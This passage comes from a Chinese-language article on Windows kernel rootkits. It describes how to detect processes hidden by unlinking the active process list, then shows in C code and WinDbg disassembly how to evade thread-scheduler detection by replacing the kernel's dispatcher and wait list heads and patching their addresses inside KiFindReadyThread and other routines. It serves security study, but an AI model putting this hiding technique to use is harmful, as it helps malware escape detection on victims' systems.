);
通过上面的那一小段核心代码就能把删除活动进程链表的隐藏进程给查出来。也可以改写一个友好一点的驱动,加入ioctl,得到的进程信息把打印在dbgview中把它返回给ring3的应用程序,然后应用程序对返回的数据进行处理,和ring3级由psapi得到的进程对比,然后判断是不是有隐藏的进程。
4.绕过内核调度链表隐藏进程。
xfocus上sobeit提出了绕过内核调度链表进程检测。详情可以参见原文:
http://www.xfocus.net/articles/200404/693.html
由于现在的基于线程调度的检测系统都是通过内核调试器得硬编码来枚举所有的调度线程的,所以我们完全可以自己创造一个那三个调度链表头,然后把原链表头从链中断开,把自己的申请的链表头接上去。由于线程调度的时候会用到kifindreadythread等内核api,在kifindreadythread里面又会去访问kidispatcherreadylisthead,所以我完全可以把kifindreadythread中那段访问kidispatcherreadylisthead的机器码修改了,把原kidispatcherreadylisthead的地址改成我们新申请的头。
kd> u kifindreadythread+0x48
nt!kifindreadythread+0x48:
804313db 8d34d5e0224880 lea esi,[nt!kidispatcherreadylisthead (804822e0)+edx*8]
很明显我们可以在机器码中看到e0224880,由于它是在内存中以byte序列显示的转换成dword就是804822e0就是我们kidispatcherreadylisthead的地址。所以我们要做的就是把[804313db+3]赋值成我们自己申请的一个链头。使其系统以后对原链表头的操作变化成对我们自己申请的链表头的操作。同理用到那三个链表头的还有一些内核api,所以必须找到他们在机器码中含有原表头地址信息的具体地址然后把它全部替换掉。不然系统调度就会出错.系统中用到kiwaitinlisthead的例程:kewaitforsingleobject、 kewaitformultipleobject、 kedelayexecutionthread、 kioutswapkernelstacks。用到kiwaitoutlisthead的例程和kiwaitinlisthead的一样。使用kidispatcherreadylisthead的例程有:kesetaffinitythread、kifindreadythread、kireadythread、kisetprioritythread、ntyieldexecution、kiscanreadyqueues、kiswapthread。
申请新的表头空间:
pnewkiwaitinlisthead = (plist_entry)exallocatepool \
(nonpagedpool,sizeof(list_entry));
pnewkiwaitoutlisthead = (plist_entry)exallocatepool \
(nonpagedpool, sizeof(list_entry));
pnewkidispatcherreadylisthead = (plist_entry)exallocatepool \
(nonpagedpool, 32 * sizeof(list_entry));
下面仅仅以pnewkiwaitinlisthead头为例,其他的表头都是一样的操作。
新调度链表的表头替换:
initializelisthead(pnewkiwaitinlisthead);
把原来的系统链表头摘除,把新的接上去:
pfirstentry = pkiwaitinlisthead->flink;
plastentry = pkiwaitinlisthead->blink;
pnewkiwaitinlisthead->flink = pfirstentry;
pnewkiwaitinlisthead->blink = plastentry;
pfirstentry->blink = pnewkiwaitinlisthead;
plastentry->flink = pnewkiwaitinlisthead;
剩下的就是在原来的线程调度链表上做文章了使其基于线程调度检测系统看不出什么异端.
for(;;)
{
initializelisthead(pkiwaitinlisthead);
for(pentry = pnewkiwaitinlisthead->flink;
pentry && pentry != pnewkiwaitinlisthead;
pentry = pentry->flink)
{
pethread = (pethread)(((pchar)pentry)-0x5c);
peprocess = (peprocess)(pethread->tcb.apcstate.pro
<< 上一页 [11] [12] [13] [14] 下一页